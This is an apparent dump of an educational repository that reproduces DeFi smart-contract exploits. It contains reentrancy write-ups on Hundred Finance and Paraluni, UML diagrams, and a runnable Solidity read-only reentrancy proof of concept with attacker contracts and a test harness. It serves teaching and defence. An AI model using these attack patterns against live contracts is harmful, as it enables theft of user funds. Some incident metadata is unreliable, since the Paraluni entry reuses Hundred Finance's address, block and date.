IETHDelegator { 38 | ' -- inheritance -- 39 | 40 | ' -- usingFor -- 41 | 42 | ' -- vars -- 43 | 44 | ' -- methods -- 45 | +💰mint() 46 | +🔍balanceOf() 47 | +🔍decimals() 48 | +💰borrow() 49 | +accrueInterest() 50 | +approve() 51 | +💰redeemUnderlying() 52 | +🔍getCash() 53 | 54 | } 55 | 56 | 57 | class Exploit_Fei_Globals { 58 | ' -- inheritance -- 59 | 60 | ' -- usingFor -- 61 | 62 | ' -- vars -- 63 | +{static}[[IUnitroller]] unitroller 64 | +{static}[[ICERC20Delegator]] fUSDC 65 | +{static}[[ICERC20Delegator]] fUSDT 66 | +{static}[[ICERC20Delegator]] fFRAX 67 | +{static}[[IETHDelegator]] fETH 68 | +{static}[[IWETH9]] weth 69 | +{static}[[IERC20]] usdc 70 | +{static}[[IERC20]] usdt 71 | +{static}[[IERC20]] frax 72 | +{static}[[address]] attacker 73 | 74 | ' -- methods -- 75 | 76 | } 77 | 78 | 79 | class Exploit_Fei { 80 | ' -- inheritance -- 81 | {abstract}TestHarness 82 | {abstract}BalancerFlashloan 83 | {abstract}Exploit_Fei_Globals 84 | 85 | ' -- usingFor -- 86 | 87 | ' -- vars -- 88 | 89 | ' -- methods -- 90 | +setUp() 91 | +test_attack() 92 | +💰receiveFlashLoan() 93 | #attackfETH() 94 | +attack_fUSDC() 95 | +💰**__constructor__**() 96 | #log_balances() 97 | 98 | } 99 | 100 | 101 | class Exploiter_Attacker_Minion { 102 | ' -- inheritance -- 103 | {abstract}Exploit_Fei_Globals 104 | 105 | ' -- usingFor -- 106 | 107 | ' -- vars -- 108 | #[[uint256]] mintAmount 109 | +[[address]] factory 110 | 111 | ' -- methods -- 112 | +**__constructor__**() 113 | +exploiter_setup_function() 114 | +mint() 115 | +borrow() 116 | +redeemAll() 117 | +💰**__constructor__**() 118 | 119 | } 120 | ' -- inheritance / usingFor -- 121 | Exploit_Fei --[#DarkGoldenRod]|> TestHarness 122 | Exploit_Fei --[#DarkGoldenRod]|> BalancerFlashloan 123 | Exploit_Fei --[#DarkGoldenRod]|> Exploit_Fei_Globals 124 | Exploiter_Attacker_Minion --[#DarkGoldenRod]|> Exploit_Fei_Globals 125 | 126 | @enduml -------------------------------------------------------------------------------- /test/Reentrancy/HundredFinance/README.md: -------------------------------------------------------------------------------- 1 | # Hundred Finance 2 | - **Type:** Exploit 3 | - **Network:** Gnosis Chain 4 | - **Total lost**: ~$6MM in various stablecoins 5 | - **Category:** Reentrancy 6 | - **Exploited contracts:** 7 | - - Hundred: https://gnosisscan.io/address/0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE 8 | - **Attack transactions:** 9 | - - Attack Tx: https://gnosisscan.io/tx/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a098 10 | - **Attack Block:**: 21120320 11 | - **Date:** Mar 15, 2022 12 | - **Reproduce:** `forge test --match-contract Exploit_HundredFinance -vvv` 13 | 14 | ## Step-by-step 15 | The function performs a low level call sending ETH with `doTransferOut` before updating the internal accounting for the borrower. 16 | 17 | 1. Flashloan collateral 18 | 2. Borrow HUSDC 19 | 3. Reenter borrowing XDAI 20 | 4. Swap earnings 21 | 5. Repay Flashloan 22 | 23 | 24 | ## Detailed Description 25 | The attacker managed to drain the protocol's collateral by reentering borrow calls with the `onTokenTransfer` hook of ERC667 tokens. 26 | 27 | ```solidity 28 | function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { 29 | ... 30 | ... 31 | 32 | ///////////////////////// 33 | // EFFECTS & INTERACTIONS 34 | // (No safe failures beyond this point) 35 | 36 | 37 | We invoke doTransferOut for the borrower and the borrowAmount. 38 | Note: The cToken must handle variations between ERC-20 and ETH underlying. 39 | On success, the cToken borrowAmount less of cash. 40 | doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. 41 | 42 | doTransferOut(borrower, borrowAmount); 43 | 44 | // We write the previously calculated values into storage 45 | accountBorrows[borrower].principal = vars.accountBorrowsNew; 46 | accountBorrows[borrower].interestIndex = borrowIndex; 47 | totalBorrows = vars.totalBorrowsNew; 48 | 49 | // We emit a Borrow event 50 | emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); 51 | 52 | // We call the defense hook 53 | // unused function 54 | // comptroller.borrowVerify(address(this), borrower, borrowAmount); 55 | 56 | return uint(Error.NO_ERROR); 57 | } 58 | ``` 59 | Hundred Finance is a fork of Compound on Gnosis that implemented the `doTransferOut` hook. The main difference between Compound and Hundred is that Compound checks if the tokens used are ERC20 compliant to prevent hooks (such as 777s and 667s). The `doTransferOut()` function is invoked before updating the internal accountancy of the borrow allowing reentrancy. 60 | 61 | The attacked [CEther Token](https://gnosisscan.io/address/0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE#code) performs the transfer via `doTransferOut()` before updating the internal variables. 62 | 63 | ## Possible mitigations 64 | - Respect the checks-effects-interactions to prevent cross-function and single function reentrancy 65 | - Remember that only functions that use the reetrancy mutex of the contract that implements that modifier are protected. If different contracts declare distinct reentrancy modifiers, a cross reentrancy is still open. 66 | 67 | ## Diagrams and graphs 68 | 69 | ### Overview 70 | 71 | ![overview](hundredfinance.d2.png) 72 | 73 | ### Class 74 | 75 | ![class](hundredfinance.png) 76 | 77 | ## Sources and references 78 | - [Peckshield Twitter Thread](https://twitter.com/peckshield/status/1520369315698016256) 79 | - [Certik Medium Article](https://certik.medium.com/fei-protocol-incident-analysis-8527440696cc) 80 | -------------------------------------------------------------------------------- /test/Reentrancy/HundredFinance/hundredfinance.d2: -------------------------------------------------------------------------------- 1 | dodo: Dodo FlashLoan 2 | 3 | attacker: Attacker 4 | 5 | Hundred: Hundred Finance { 6 | HUSD: HUSD { 7 | mint: mint() 8 | borrow: borrow() 9 | } 10 | HXDAI: HXDAI { 11 | borrow: borrow() 12 | } 13 | } 14 | 15 | curve: Curve { 16 | exchange: exchange() 17 | } 18 | 19 | attacker -> dodo -> attacker: 1°: Request Loan 20 | attacker -> Hundred.HUSD.mint: 2°: Mint HUSD 21 | Hundred.HUSD.mint -> Hundred.HUSD.borrow: 3° 22 | Hundred.HUSD.borrow -> Hundred.HXDAI.borrow: 4°: Reentrant call 23 | Hundred.HXDAI.borrow -> curve.exchange: 5°: Swap loot 24 | curve.exchange -> dodo: 6°: Repay Loan 25 | 26 | explanation: |md 27 | # Hundred Finance 28 | - Reentrancy with ERC667 hooks 29 | | 30 | -------------------------------------------------------------------------------- /test/Reentrancy/HundredFinance/hundredfinance.d2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/HundredFinance/hundredfinance.d2.png -------------------------------------------------------------------------------- /test/Reentrancy/HundredFinance/hundredfinance.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/HundredFinance/hundredfinance.png -------------------------------------------------------------------------------- /test/Reentrancy/HundredFinance/hundredfinance.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | class Exploit_HundredFinance { 4 | ' -- inheritance -- 5 | {abstract}TestHarness 6 | 7 | ' -- usingFor -- 8 | 9 | ' -- vars -- 10 | #[[ICurve]] curve 11 | -{static}[[IUniswapV2Pair]] pairUsdcWxdai 12 | #[[uint256]] amountBorrowed 13 | #[[uint16]] timesBorrowed 14 | 15 | ' -- methods -- 16 | +setUp() 17 | +💰**__constructor__**() 18 | +test_attack() 19 | +uniswapV2Call() 20 | +onTokenTransfer() 21 | +borrowXDAI() 22 | #logBalances() 23 | 24 | } 25 | ' -- inheritance / usingFor -- 26 | Exploit_HundredFinance --[#DarkGoldenRod]|> TestHarness 27 | 28 | @enduml -------------------------------------------------------------------------------- /test/Reentrancy/Paraluni/README.md: -------------------------------------------------------------------------------- 1 | # Paraluni 2 | - **Type:** Exploit 3 | - **Network:** Binance Smart Chain 4 | - **Total lost**: ~$1.7MM in various stablecoins 5 | - **Category:** Reentrancy 6 | - **Exploited contracts:** 7 | - - Hundred: https://gnosisscan.io/address/0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE 8 | - **Attack transactions:** 9 | - - Attack Tx: https://bscscan.com/tx/0x70f367b9420ac2654a5223cc311c7f9c361736a39fd4e7dff9ed1b85bab7ad54 10 | - **Attack Block:**: 21120320 11 | - **Date:** Mar 15, 2022 12 | - **Reproduce:** `forge test --match-contract Exploit_Paraluni -vvv` 13 | 14 | ## Step-by-step 15 | 1. Create a malicious token that spoofs allowances, balances and implements a reentrant call while calling transferFrom. 16 | 2. Send stablecoins to drain to the malicious token contract. In here, USDT and BUSD. 17 | 3. Deposit into Paraluni to the malicious token as if it was a regular admitted token. 18 | 19 | ## Detailed Description 20 | 21 | ```solidity 22 | function depositByAddLiquidity(uint256 _pid, address[2] memory _tokens, uint256[2] memory _amounts) external{ 23 | require(_amounts[0] > 0 && _amounts[1] > 0, "!0"); 24 | address[2] memory tokens; 25 | uint256[2] memory amounts; 26 | (tokens[0], amounts[0]) = _doTransferIn(msg.sender, _tokens[0], _amounts[0]); 27 | (tokens[1], amounts[1]) = _doTransferIn(msg.sender, _tokens[1], _amounts[1]); 28 | depositByAddLiquidityInternal(msg.sender, _pid, tokens,amounts); 29 | } 30 | 31 | function depositByAddLiquidityInternal(address _user, uint256 _pid, address[2] memory _tokens, uint256[2] memory _amounts) internal { 32 | PoolInfo memory pool = poolInfo[_pid]; 33 | require(address(pool.ticket) == address(0), "T:E"); 34 | uint liquidity = addLiquidityInternal(address(pool.lpToken), _user, _tokens, _amounts); 35 | _deposit(_pid, liquidity, _user); 36 | } 37 | 38 | function addLiquidityInternal(address _lpAddress, address _user, address[2] memory _tokens, uint256[2] memory _amounts) internal returns (uint){ 39 | //Stack too deep, try removing local variables 40 | DepositVars memory vars; 41 | approveIfNeeded(_tokens[0], address(paraRouter), _amounts[0]); 42 | approveIfNeeded(_tokens[1], address(paraRouter), _amounts[1]); 43 | vars.oldBalance = IERC20(_lpAddress).balanceOf(address(this)); 44 | (vars.amountA, vars.amountB, vars.liquidity) = paraRouter.addLiquidity(_tokens[0], _tokens[1], _amounts[0], _amounts[1], 1, 1, address(this), block.timestamp + 600); 45 | vars.newBalance = IERC20(_lpAddress).balanceOf(address(this)); 46 | require(vars.newBalance > vars.oldBalance, "B:E"); 47 | vars.liquidity = vars.newBalance.sub(vars.oldBalance); 48 | addChange(_user, _tokens[0], _amounts[0].sub(vars.amountA)); 49 | addChange(_user, _tokens[1], _amounts[1].sub(vars.amountB)); 50 | return vars.liquidity; 51 | } 52 | ``` 53 | 1. The deposit flow does not ensure that the token addresses provided match the addresses of the pools that are called (_pid) 54 | 2. The liquidity and internal balances (vars) are updated after adding liquidity inside addLiquidityInternal(). 55 | 3. Because of 1. and 2., the deposit flow could be attacked by reentrancy as tokens flow before updating key variables and the pools allow malicious tokens. 56 | The deposit flow will update twice the balance of the attacker contract (malicious token) transferring the double of stablecoins. 57 | 58 | ## Possible mitigations 59 | - Ensure that the tokens addresses provided match the addresses from the targeted pool or check if they are whitelisted. 60 | - Use a reentrancy mutex if arbitrary tokens are meant to be handled. 61 | - Review the checks-effects-interactions pattern and evaluate the steps at which tokens flow in and out the contract. 62 | 63 | ## Diagrams and graphs 64 | 65 | ### Class 66 | 67 | ![class](paraluni.png) 68 | 69 | ## Sources and references 70 | - [Paraluni Tweet](https://twitter.com/paraluni/status/1502951606202994694) 71 | - [Slowmist Article](https://slowmist.medium.com/paraluni-incident-analysis-58be442a4f99) 72 | -------------------------------------------------------------------------------- /test/Reentrancy/Paraluni/paraluni.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/Paraluni/paraluni.png -------------------------------------------------------------------------------- /test/Reentrancy/Paraluni/paraluni.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IParaluniPair { 4 | ' -- inheritance -- 5 | {abstract}IUniswapV2Pair 6 | 7 | ' -- usingFor -- 8 | 9 | ' -- vars -- 10 | 11 | ' -- methods -- 12 | 13 | } 14 | 15 | 16 | interface IParaProxy { 17 | ' -- inheritance -- 18 | 19 | ' -- usingFor -- 20 | 21 | ' -- vars -- 22 | 23 | ' -- methods -- 24 | +depositByAddLiquidity() 25 | +withdrawAndRemoveLiquidity() 26 | +withdrawChange() 27 | +userInfo() 28 | +withdraw() 29 | 30 | } 31 | 32 | 33 | interface IParaRouter { 34 | ' -- inheritance -- 35 | 36 | ' -- usingFor -- 37 | 38 | ' -- vars -- 39 | 40 | ' -- methods -- 41 | +addLiquidity() 42 | +removeLiquidity() 43 | 44 | } 45 | 46 | 47 | class Exploit_Paraluni { 48 | ' -- inheritance -- 49 | {abstract}TestHarness 50 | {abstract}TokenBalanceTracker 51 | 52 | ' -- usingFor -- 53 | 54 | ' -- vars -- 55 | #[[IERC20]] bscusd 56 | #[[IERC20]] busd 57 | #[[EvilToken]] ukrBadToken 58 | #[[EvilToken]] russiaGoodToken 59 | #[[IParaluniPair]] paraluniBSCBUSDPair 60 | #[[IParaRouter]] paraRouter 61 | #[[IParaProxy]] paraProxy 62 | #[[IUniswapV2Pair]] pancakeBSCBUSDPair 63 | 64 | ' -- methods -- 65 | +setUp() 66 | +test_attack() 67 | +pancakeCall() 68 | 69 | } 70 | 71 | 72 | class EvilToken { 73 | ' -- inheritance -- 74 | 75 | ' -- usingFor -- 76 | 77 | ' -- vars -- 78 | #[[IERC20]] bscusd 79 | #[[IERC20]] busd 80 | #[[IParaProxy]] paraProxy 81 | +[[string]] name 82 | +[[string]] symbol 83 | #[[address]] owner 84 | 85 | ' -- methods -- 86 | +**__constructor__**() 87 | +🔍allowance() 88 | +🔍balanceOf() 89 | +transferFrom() 90 | +withdrawAsset() 91 | 92 | } 93 | ' -- inheritance / usingFor -- 94 | IParaluniPair --[#DarkGoldenRod]|> IUniswapV2Pair 95 | Exploit_Paraluni --[#DarkGoldenRod]|> TestHarness 96 | Exploit_Paraluni --[#DarkGoldenRod]|> TokenBalanceTracker 97 | 98 | @enduml -------------------------------------------------------------------------------- /test/Reentrancy/ReadOnlyReentrancy/README.md: -------------------------------------------------------------------------------- 1 | # Read Only Reentrancy 2 | - **Type:** Education 3 | - **Category:** Reentrancy 4 | - **Reproduce:** `forge test --match-contract Exploit_ReadOnly -vvv` 5 | 6 | ## Step-by-step 7 | 1) The attacker's contract calls contract A that performs a call open to be hooked (by an ERC777s, ERC1155 or regular ether transfers). 8 | 2) The attacker callbacks a contract B that reads for example totalLocked from contract A. 9 | 3) As totalLocked was not updated by the call was made, it is reading that contract's A older value (yet not updated). 10 | 4) Because of this, the attacker managed to exploit contract B because it read an invalid value of contract A (e.g. price rate manipulation). 11 | 12 | 13 | ## Detailed Description 14 | Several recent attacks followed this novel pattern. In here, a theoretical example is provided to for educational purposes. 15 | 16 | ```solidity 17 | mapping(address => uint256) public userLocked; 18 | uint256 public totalLocked; 19 | 20 | function withdraw() external nonReentrant { 21 | require(userLocked[msg.sender] > 0); 22 | require(address(this).balance >= userLocked[msg.sender]); 23 | 24 | (bool success, ) = payable(msg.sender).call{value: userLocked[msg.sender]}(); 25 | require(success); 26 | 27 | userLocked[msg.sender] = 0; 28 | totalLocked -= userLocked[msg.sender]; 29 | } 30 | ``` 31 | 32 | ## Possible mitigations 33 | - For newer contracts, the state mutex of the reentrancy lock could be set as public to allow other contracts to check if they are in a reentrant call 34 | - Also, respect the checks-effects interactions pattern as using reentrancy locks without respecting the pattern opens new attack paths like this one. 35 | 36 | ## Diagrams and graphs 37 | 38 | ### Class 39 | 40 | ![class](readonly.png) 41 | 42 | ## Sources and references 43 | - [ChainSecurity Blog: Initial report of read-only reentrancy on Curve](https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/) 44 | - [SmartContractProgrammer Repo](https://github.com/stakewithus/defi-by-example/blob/main/read-only-reentrancy/src/Hack.sol) 45 | - [Github Issue tracking read-only reentrancy hacks](https://github.com/coinspect/learn-evm-attacks/issues/43) 46 | -------------------------------------------------------------------------------- /test/Reentrancy/ReadOnlyReentrancy/ReadOnlyReentrancy.attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {IERC20} from "../../interfaces/IERC20.sol"; 7 | import {ICurve} from '../../utils/ICurve.sol'; 8 | 9 | address constant STETH_POOL = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022; 10 | address constant LP = 0x06325440D014e39736583c165C2963BA99fAf14E; 11 | 12 | // Vulnerable contract as reads the pool price to calculate the rewards. 13 | contract Target { 14 | IERC20 public constant token = IERC20(LP); 15 | ICurve private constant pool = ICurve(STETH_POOL); 16 | 17 | mapping(address => uint) public balanceOf; 18 | 19 | function stake(uint amount) external { 20 | token.transferFrom(msg.sender, address(this), amount); 21 | balanceOf[msg.sender] += amount; 22 | } 23 | 24 | function unstake(uint amount) external { 25 | balanceOf[msg.sender] -= amount; 26 | token.transfer(msg.sender, amount); 27 | } 28 | 29 | function getReward() external view returns (uint) { 30 | uint reward = (balanceOf[msg.sender] * pool.get_virtual_price()) / 1e18; 31 | // Omitting code to transfer reward tokens 32 | return reward; 33 | } 34 | } 35 | 36 | contract Exploit_ReadOnly is TestHarness { 37 | AttackerContract internal attackerContract; 38 | Target internal target; 39 | 40 | address internal attacker = address(0x69); 41 | 42 | function setUp() external { 43 | cheat.createSelectFork("mainnet"); 44 | 45 | cheat.deal(attacker, 110_000 ether); 46 | 47 | target = new Target(); 48 | attackerContract = new AttackerContract(address(target)); 49 | } 50 | 51 | function test_attack() external { 52 | cheat.startPrank(attacker); 53 | attackerContract.setup{value: 10 ether}(); 54 | attackerContract.pwn{value: 100_000 ether}(); 55 | } 56 | } 57 | 58 | contract AttackerContract is TestHarness{ 59 | ICurve private constant pool = ICurve(STETH_POOL); 60 | IERC20 public constant lpToken = IERC20(LP); 61 | Target private immutable target; 62 | 63 | constructor(address _target) { 64 | target = Target(_target); 65 | } 66 | 67 | receive() external payable { 68 | emit log_named_decimal_uint("during remove LP - virtual price", pool.get_virtual_price(), 18); 69 | // Attack - Log reward amount 70 | uint reward = target.getReward(); // This step shows how the rewards are calculated if done in a reentrant call. 71 | emit log_named_decimal_uint("reward", reward, 18); 72 | } 73 | 74 | function setup() external payable { 75 | uint[2] memory amounts = [msg.value, 0]; 76 | uint lp = pool.add_liquidity{value: msg.value}(amounts, 1); 77 | 78 | lpToken.approve(address(target), lp); 79 | target.stake(lp); 80 | } 81 | 82 | function pwn() external payable { 83 | // Add liquidity 84 | uint[2] memory amounts = [msg.value, 0]; 85 | uint lp = pool.add_liquidity{value: msg.value}(amounts, 1); 86 | // Log get_virtual_price 87 | emit log_named_decimal_uint("before remove LP - virtual price", pool.get_virtual_price(), 18); 88 | // console.log("lp", lp); 89 | 90 | // remove liquidity 91 | uint[2] memory min_amounts = [uint(0), uint(0)]; 92 | pool.remove_liquidity(lp, min_amounts); 93 | 94 | // Log get_virtual_price 95 | emit log_named_decimal_uint("after remove LP - virtual price", pool.get_virtual_price(), 18); 96 | 97 | // Attack - Log reward amount 98 | uint reward = target.getReward(); 99 | emit log_named_decimal_uint("reward", reward, 18); 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /test/Reentrancy/ReadOnlyReentrancy/readonly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/ReadOnlyReentrancy/readonly.png -------------------------------------------------------------------------------- /test/Reentrancy/ReadOnlyReentrancy/readonlyreentrancy.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | class Target { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | +{static}[[IERC20]] token 10 | -{static}[[ICurve]] pool 11 | +[[mapping address=>uint ]] balanceOf 12 | 13 | ' -- methods -- 14 | +stake() 15 | +unstake() 16 | +🔍getReward() 17 | 18 | } 19 | 20 | 21 | class Exploit_ReadOnly { 22 | ' -- inheritance -- 23 | {abstract}TestHarness 24 | 25 | ' -- usingFor -- 26 | 27 | ' -- vars -- 28 | #[[AttackerContract]] attackerContract 29 | #[[Target]] target 30 | #[[address]] attacker 31 | 32 | ' -- methods -- 33 | +setUp() 34 | +test_attack() 35 | 36 | } 37 | 38 | 39 | class AttackerContract { 40 | ' -- inheritance -- 41 | {abstract}TestHarness 42 | 43 | ' -- usingFor -- 44 | 45 | ' -- vars -- 46 | -{static}[[ICurve]] pool 47 | +{static}[[IERC20]] lpToken 48 | -[[Target]] target 49 | 50 | ' -- methods -- 51 | +**__constructor__**() 52 | +💰**__constructor__**() 53 | +💰setup() 54 | +💰pwn() 55 | 56 | } 57 | ' -- inheritance / usingFor -- 58 | Exploit_ReadOnly --[#DarkGoldenRod]|> TestHarness 59 | AttackerContract --[#DarkGoldenRod]|> TestHarness 60 | 61 | @enduml -------------------------------------------------------------------------------- /test/Reentrancy/RevestFinance/revest.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/RevestFinance/revest.png -------------------------------------------------------------------------------- /test/Reentrancy/RevestFinance/revestfinance.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IERC1820Registry { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +setInterfaceImplementer() 12 | 13 | } 14 | 15 | 16 | interface IRevest { 17 | ' -- inheritance -- 18 | 19 | ' -- usingFor -- 20 | 21 | ' -- vars -- 22 | 23 | ' -- methods -- 24 | +💰mintTimeLock() 25 | +💰mintValueLock() 26 | +💰mintAddressLock() 27 | +withdrawFNFT() 28 | +unlockFNFT() 29 | +splitFNFT() 30 | +depositAdditionalToFNFT() 31 | +setFlatWeiFee() 32 | +setERC20Fee() 33 | +getFlatWeiFee() 34 | +getERC20Fee() 35 | 36 | } 37 | 38 | 39 | class Exploit_RevestFinance { 40 | ' -- inheritance -- 41 | {abstract}TestHarness 42 | 43 | ' -- usingFor -- 44 | 45 | ' -- vars -- 46 | #[[IUniswapV2Pair]] renaWethPair 47 | #[[IERC1820Registry]] interfaceRegistry 48 | #[[IRevest]] revest 49 | #[[IERC20]] rena 50 | #{static}[[address]] attacker 51 | #[[uint256]] reentrancyStep 52 | #[[uint256]] currentId 53 | 54 | ' -- methods -- 55 | +setUp() 56 | +test_attack() 57 | +uniswapV2Call() 58 | +onERC1155Received() 59 | 60 | } 61 | ' -- inheritance / usingFor -- 62 | Exploit_RevestFinance --[#DarkGoldenRod]|> TestHarness 63 | 64 | @enduml -------------------------------------------------------------------------------- /test/TestHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import "forge-std/Vm.sol"; 6 | 7 | import {CheatCodes} from "./interfaces/00_CheatCodes.interface.sol"; 8 | import {IERC20} from "./interfaces/IERC20.sol"; 9 | 10 | contract TestHarness is Test { 11 | using stdStorage for StdStorage; 12 | 13 | CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); 14 | StdStorage public stdStore; 15 | 16 | function writeTokenBalance(address who, address token, uint256 amt) internal { 17 | stdStore.target(token).sig(IERC20(token).balanceOf.selector).with_key(who).checked_write(amt); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /test/interfaces/IERC1155.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC1155/IERC1155.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Required interface of an ERC1155 compliant contract, as defined in the 8 | * https://eips.ethereum.org/EIPS/eip-1155[EIP]. 9 | * 10 | * _Available since v3.1._ 11 | */ 12 | interface IERC1155 { 13 | /** 14 | * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. 15 | */ 16 | event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); 17 | 18 | /** 19 | * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all 20 | * transfers. 21 | */ 22 | event TransferBatch( 23 | address indexed operator, 24 | address indexed from, 25 | address indexed to, 26 | uint256[] ids, 27 | uint256[] values 28 | ); 29 | 30 | /** 31 | * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to 32 | * `approved`. 33 | */ 34 | event ApprovalForAll(address indexed account, address indexed operator, bool approved); 35 | 36 | /** 37 | * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. 38 | * 39 | * If an {URI} event was emitted for `id`, the standard 40 | * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value 41 | * returned by {IERC1155MetadataURI-uri}. 42 | */ 43 | event URI(string value, uint256 indexed id); 44 | 45 | /** 46 | * @dev Returns the amount of tokens of token type `id` owned by `account`. 47 | * 48 | * Requirements: 49 | * 50 | * - `account` cannot be the zero address. 51 | */ 52 | function balanceOf(address account, uint256 id) external view returns (uint256); 53 | 54 | /** 55 | * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. 56 | * 57 | * Requirements: 58 | * 59 | * - `accounts` and `ids` must have the same length. 60 | */ 61 | function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) 62 | external 63 | view 64 | returns (uint256[] memory); 65 | 66 | /** 67 | * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, 68 | * 69 | * Emits an {ApprovalForAll} event. 70 | * 71 | * Requirements: 72 | * 73 | * - `operator` cannot be the caller. 74 | */ 75 | function setApprovalForAll(address operator, bool approved) external; 76 | 77 | /** 78 | * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. 79 | * 80 | * See {setApprovalForAll}. 81 | */ 82 | function isApprovedForAll(address account, address operator) external view returns (bool); 83 | 84 | /** 85 | * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. 86 | * 87 | * Emits a {TransferSingle} event. 88 | * 89 | * Requirements: 90 | * 91 | * - `to` cannot be the zero address. 92 | * - If the caller is not `from`, it must have been approved to spend ``from``'s tokens via {setApprovalForAll}. 93 | * - `from` must have a balance of tokens of type `id` of at least `amount`. 94 | * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the 95 | * acceptance magic value. 96 | */ 97 | function safeTransferFrom( 98 | address from, 99 | address to, 100 | uint256 id, 101 | uint256 amount, 102 | bytes calldata data 103 | ) external; 104 | 105 | /** 106 | * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. 107 | * 108 | * Emits a {TransferBatch} event. 109 | * 110 | * Requirements: 111 | * 112 | * - `ids` and `amounts` must have the same length. 113 | * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the 114 | * acceptance magic value. 115 | */ 116 | function safeBatchTransferFrom( 117 | address from, 118 | address to, 119 | uint256[] calldata ids, 120 | uint256[] calldata amounts, 121 | bytes calldata data 122 | ) external; 123 | } -------------------------------------------------------------------------------- /test/interfaces/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC20 standard as defined in the EIP. 8 | */ 9 | interface IERC20 { 10 | /** 11 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 12 | * another (`to`). 13 | * 14 | * Note that `value` may be zero. 15 | */ 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | 18 | /** 19 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 20 | * a call to {approve}. `value` is the new allowance. 21 | */ 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | 24 | /** 25 | * @dev Returns the amount of tokens in existence. 26 | */ 27 | function totalSupply() external view returns (uint256); 28 | 29 | function name() external view returns(string memory); 30 | function decimals() external view returns(uint8); 31 | 32 | /** 33 | * @dev Returns the amount of tokens owned by `account`. 34 | */ 35 | function balanceOf(address account) external view returns (uint256); 36 | 37 | /** 38 | * @dev Moves `amount` tokens from the caller's account to `to`. 39 | * 40 | * Returns a boolean value indicating whether the operation succeeded. 41 | * 42 | * Emits a {Transfer} event. 43 | */ 44 | function transfer(address to, uint256 amount) external returns (bool); 45 | 46 | /** 47 | * @dev Returns the remaining number of tokens that `spender` will be 48 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 49 | * zero by default. 50 | * 51 | * This value changes when {approve} or {transferFrom} are called. 52 | */ 53 | function allowance(address owner, address spender) external view returns (uint256); 54 | 55 | /** 56 | * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. 57 | * 58 | * Returns a boolean value indicating whether the operation succeeded. 59 | * 60 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 61 | * that someone may use both the old and the new allowance by unfortunate 62 | * transaction ordering. One possible solution to mitigate this race 63 | * condition is to first reduce the spender's allowance to 0 and set the 64 | * desired value afterwards: 65 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 66 | * 67 | * Emits an {Approval} event. 68 | */ 69 | function approve(address spender, uint256 amount) external returns (bool); 70 | 71 | /** 72 | * @dev 